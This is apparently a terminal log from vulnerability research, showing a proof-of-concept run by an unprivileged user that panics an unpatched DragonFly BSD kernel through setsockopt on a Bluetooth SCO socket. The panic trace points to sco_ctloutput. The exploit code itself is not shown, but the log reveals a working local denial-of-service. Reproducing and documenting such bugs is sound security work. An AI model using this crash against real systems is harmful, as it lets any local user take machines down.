=== DF-0688 run as unprivileged user (maxx, uid 1001) ===
=== guest: DragonFly 6.5-DEVELOPMENT #0  (with-src snapshot, unpatched baseline) ===
=== after `kldload netbt.ko` (legitimate admin setup of Bluetooth) ===

$ id
uid=1001(maxx) gid=1001(maxx) groups=1001(maxx)

$ kldstat | grep netbt
 4    1 0xffffffff82600000   183000 netbt.ko

$ cd poc/DF-0688 && ./sco_setsockopt_panic
[*] got SCO socket fd=3; firing setsockopt (any name, any val)

[ssh session died here — kernel panicked]

=== host: ===
$ ./dfbsd-qemu/vm.sh status
down

=== panic signature from dfbsd-qemu/boot.log: ===
Fatal trap 12: page fault while in kernel mode
fault virtual address    = 0x10
Stopped at      sco_ctloutput.cold.2+0x19:      movq    0x10,%rax
db>

RUN_RC=124 (ssh timeout — guest dead from panic)